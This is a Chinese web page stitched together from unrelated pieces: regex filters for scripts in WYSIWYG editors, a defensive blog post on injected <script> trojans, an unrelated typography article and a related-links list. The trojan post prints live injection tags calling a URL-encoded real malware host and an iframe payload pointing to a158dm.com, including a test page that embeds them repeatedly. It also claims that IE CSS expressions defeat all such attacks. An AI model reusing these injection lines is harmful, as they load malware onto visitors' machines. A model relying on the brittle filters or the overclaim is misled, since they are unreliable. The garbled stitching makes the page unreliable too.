过滤所见所得编辑器里的危险脚本二
过滤所见所得编辑器里的危险脚本
<textarea id="bug" cols="80" rows="5">
<a onclick="test();
test1()" onblur=
"test3()">test</a>
</textarea>
<button id="kick">抓虫2</button>
<script>
function kickBug(str) {
return str.replace(/<[a-z][^>]+/ig,
function($0,$1){
return $0.replace(/\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*/ig,"");
}
);
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
this.textContent = text;
});
document.getElementById("kick").onclick = function() {
var bug = document.getElementById("bug");
bug.innerText = kickBug(bug.innerText);
}
</script>
<textarea id="bug" cols="80" rows="5">
<a onclick="test();" href="
javascript:alert('a')" href="javascript:"
href="vbscript:alert()"
>test</a>
</textarea>
<button id="kick">抓虫3</button>
<script>
function kickBug(str) {
return str.replace(/<[a-z][^>]+/ig,
function($0,$1){
return $0.replace(/\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)/ig,"");
}
);
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
this.textContent = text;
});
document.getElementById("kick").onclick = function() {
var bug = document.getElementById("bug");
bug.innerText = kickBug(bug.innerText);
}
</script>
还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。
前不久《一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:
注意,以下地址含有木马,请不要轻易访问:
代码:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:
代码:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!
代码:
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。
来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:
解决方案1:
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决方案2:
代码:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案3:
代码:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决方案4:
代码:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决方案5:
代码:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>
以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
代码:
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的测试环境是:
Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。
大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。
所见所得的编辑器现在用得越来越多,原因之一,用户体验好。但是作为开发者,我们也应该清醒的认识到,这样的编辑器往往成了危险脚本、木马的温床。我们不能容忍蛀虫就在我们自己的东西里面滋生。
下面我就来尝试用正则替换的办法,使得编辑器里面的脚本无所遁形。可能我想的不是很全面,希望有漏网之鱼的,朋友们请提出。
脚本藏身之处不过有四:
1、<script>标签
2、on开头的标签属性
3、javascript(vbscript)伪协议
4、css的epression
5、<iframe>标签
下面是他们的字符串规则:
1、<script(.|\n)*\/script>\s*
2、\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*(?=>)
3、\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)\s*(?=>)
4、epression\((.|\n)*\);?
5、<iframe(.|\n)*\/iframe>\s*
了解他们的规则后,抓虫行动就水到渠成。下面看具体代码:
<textarea id="bug" cols="80" rows="5">
<button id="kick">抓虫1</button>
<script>
function kickBug(str) {
return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
this.textContent = text;
});
document.getElementById("kick").onclick = function() {
var bug = document.getElementById("bug");
bug.innerText = kickBug(bug.innerText);
}
</script>
</textarea>
<button id="kick">抓虫</button>
<script>
function kickBug(str) {
return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
this.textContent = text;
});
document.getElementById("kick").onclick = function() {
var bug = document.getElementById("bug");
bug.innerText = kickBug(bug.innerText);
}
</script>
很多人都问我如何为一本杂志、一份报纸、一张海报、一份简报或是一份出版物选择一个合适的正文字体。一般我都会告诉他们该用哪个字体,但我知道,这不是最佳答案,因为他们没有学会如何自己去选择。
今天,我打算花一点时间来分析一下怎样为不同的案例选择正确的正文字体进行排版设计。你应该知道,这些技巧并非金科玉律,但它们会是你选择正文字体时的好参谋。无论如何,这种选择取决于你希望用这个字体来表达什么,很多时候,易读性和字体的个性是同等的重要。所以请记住下面这些要点,小心从事。
1. The Letterform 字形
上面的“弯管”体现了这个字体的结构。这一点很重要。为了文本的易读,我们应该采用字形尽量简单的字体,而不需要太多复杂的细节。这些细节会让阅读者分心,我们应该让读者关注文本的内容而非字体。
2. The Weight 字重
当我们讨论字体的“重量”时,我们指的是字符之间的一种一致性关系,以及页面文本流的整体“亮度”。如果你为大段文字设置一种很纤细的字体,阅读起来就会很费力,没有人愿意去读它。
3. The Contrast 粗细对比
粗细对比指的是垂直笔画和水平笔画之间的粗细差异-字符最粗部分和最细部分的差异。Bodoni 和 Didot 是粗细对比很强烈的字体。如果你看到 Bodoni 排版的文本的复印件的复印件的复印件,你就会发现你已经看不见水平笔画了。一款设计精良的正文字体应该能经受反复多次的复印。它的笔画应当是结实有力而不粗糙。
4. The axis 轴向
我认为字体的轴向设置同样会影响阅读。正文字体的主流是垂直笔画,如果轴向是倾斜的,视线沿文本方向流动的时候就会造成干扰。如果一款字体使用了一种以上的轴向,那么这一行文本看起来就好像在跳舞,这样是很难阅读的。如果你采用垂直的轴向,字符就不会跳舞。
5. x height x高度
v基线到 x高度之间的区域包含了大部分的可读信息(75%的小写字母)。在阅读正文时这是非常重要的区域。上升部和下降部如果很长,就必然会导致 x高度很小。如果你比较例图中上升部长度不同的两款字体,你就会看出后者的 x高度更大,因而它也就更易于识别。你可以对比看看 Times New Roman 和 Mrs. Eaves 这两款字体的区别。
6. Capital letters height 大写字母高度
旧式的字体设计中上升部和大写高度是一致的。有些字体中大写高度要更大一些... 那么大小写连排的时候通常就会很难看。比如我写一个‘Garamond’,这个“G”看起来就象是一只恐龙,而后面的“a”看上去就象是它的猎物...
7. Endings and details 末端和细节
当我们在大字号下面使用一个字体时候(比如说一张海报),一切都被放大。所有设计上的细节都变得很明显,同样明显的还有它的瑕疵。很多字体的绘制其实是很糟糕的。身为设计师,这是我们所无法忍受的。
8. Text and texture 文本和版面纹路
从远处看,文本块就像是一张有纹路的织物。这种纹路应该是均匀的,那些特别突出的字符就像污点一样会分散人的注意力。
9. Degree of the Counter Opening 字谷开放的程度
很多字体的设计中,字谷都封的太死了。这会导致识别困难,有人会把这个“c”当成一个“o”。但是,假如字谷过于开放(象 Frutiger 那样),内外空间的界限又会变得模糊,这样便产生大量的白空间,看上去会很难看。
10. The Fish Effect 鱼眼效应
当内部空间明显大于字符间距时,这种效应就很突出。因此当一个圆形字母和一个直笔画的字母连排时,看上去就会很怪异。
11. External counter 外部空间
一些小细节可以让一款正文字体更易于识别。如果外部空间经过很好的设计,文本就更易于阅读。想想小写“n”中竖笔和弧线的连接部分,或是‘rn’ 和‘m’的区别。
12. Internal counter 内部空间
如果‘a’ 或‘e’的字“眼”过小,在小字号的时候它们可能根本就等于没有。在大多数语言中这些都是最常用的字母,所以这可不是什么小问题。
13. Is the set complete? 字符集是否完整
不知道有多少次,我们发现我们所用的字库竟然缺少一些字符,并且总是到我们的设计将要完成的时候才发现。真恐怖!我们不得不改换字体然后重新校对全部的文本。许多字体设计师会漏掉一些字符,诸如“ñ”、重音符、波浪线、句号、逗号甚至是数字... 所以在你使用一个字体之前务必检查它的完整性。
14. The family 字族
还有一个重要的事情是,检查字族是否足够丰富,是否包含了不同的磅数、粗细以及意大利体等等。确定它的意大利体和常规版本一样易于阅读。它们有时会包含许多洛可可风格的细节。
15. Letter spacing 字符间距
有些字体的字间距很糟糕,甚至根本就不设置字间距,它们当然不会有什么好的效果。一个好的设计师会校正那些不太好的字间距,但假如全部的字间距都很糟糕,那你就有得忙了。当然有些软件会有一些辅助功能,但永远比不上一个好的字体设计师所做的。所以尽量采用那些字间距和度量合适的字体。
<td style="width:100px;overflow:hidden">
外一层再设定word-wrap: break-word有效果么?
注意要设置容器有宽度喽
相关文章
- 这篇文章主要介绍了cmd下过滤文件名称的两种方法,需要的朋友可以参考下...2020-06-30
- 本文为那些对学习 Windows PowerShell 命令行和脚本编写环境感兴趣的系统管理员提供了资源。也请告诉我们本网站如何才能对您更有用处。...2020-06-30
- 这篇文章主要介绍了Shell脚本中让进程休眠的方法,本文讲解的就是sleep的用法,可以实现睡觉若干秒、若干分钟、若干小时,需要的朋友可以参考下...2020-07-11
JavaScript 实现自己的安卓手机自动化工具脚本(推荐)
这篇文章主要介绍了 JavaScript 实现自己的安卓手机自动化工具脚本,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-05-14- 这篇文章主要介绍了自动设置安卓手机wifi代理的PowerShell脚本,帮助大家进行抓包测试,感兴趣的朋友可以了解下...2020-10-17
- 这篇文章主要介绍了PHP正则表达式过滤html标签属性的相关内容,实用性非常,感兴趣的朋友参考下吧...2016-05-06
- 这篇文章主要介绍了JavaScript过滤字符串中的中文与空格方法汇总 的相关资料,需要的朋友可以参考下...2016-03-09
- 这篇文章主要介绍了Jmeter如何基于命令行运行jmx脚本,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-07-22
- 弄懂shell程序,源代码,以及python脚本能够向运维开发方向走,shell程序能够管理集群,提高开发的效率,shell是命令解释器,调用系统内核,帮助你对内核的刷新认识...2021-09-06
- 今天看到国外的一篇文章可以在cmd中运行95版本的ps1格式的批处理,但经过测试默认情况下powershell支不支持执行脚本需要执行如下操作...2020-06-30
超漂亮的Bootstrap 富文本编辑器summernote
Summernote 是一个简单,灵活,所见即所得(WYSIWYG)的编辑器,基于 jQuery 和 Bootstrap 构建。对bootstrap 文本编辑器相关知识感兴趣的朋友一起学习吧...2016-04-06- 本文我们将会学习一下在shell脚本中如何使用正则表达式,常用的shell正则表达式,当然重点还是如何在shell脚本中用正则表达式匹配IP及Email。 shell也可以使用正则分...2016-11-25
- 通过本教程可以实现帝国CMS后台给前台注册用户发消息,把内容输入框改为编辑器,可上传图片,等打开文件\e\admin\member\SendMsg.php 大约84行<textarea name="msgtext" cols="6...2016-01-27
ASP.NET百度Ueditor编辑器实现上传图片添加水印效果
这篇文章主要给大家介绍了ASP.NET百度Ueditor编辑器1.4.3这个版本实现上传图片添加水印效果的相关资料,文中通过图文及示例代码介绍的非常详细,相信对大家具有一定的参考价值,需要的朋友们下面来一起看看吧。...2021-09-22- 这篇文章主要介绍了什么是Shell?Shell脚本基础知识介绍,本文是一篇Shell脚本入门文章,在本文你可学到什么是Shell、有多少种Shell、一个Shell脚本代码实例,需要的朋友可以参考下...2020-07-11
- C# 撒列实现关键字过滤的实例,需要的朋友可以参考一下...2020-06-25
- 这篇文章主要为大家详细介绍了C# RichTextBox制作文本编辑器的方法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2020-06-25
- 以下是对在linux下c程序中获取shell脚本输出的实现方法进行了详细的分析介绍,需要的朋友可以过来参考下...2020-04-25
- KindEditor编辑器调用方法,这个编辑器可使用到任何语言中,他是一个纯js的编辑器,但它默认的编辑是utf-8如果是gb2312编辑的朋友就是KindEditor.js打开,重保存为gb2312...2016-11-25
在C#中调用VBScript、javascript等脚本的实现代码
在C#中调用VBScript、javascript等脚本的实现步骤,需要的朋友可以参考下。...2020-06-25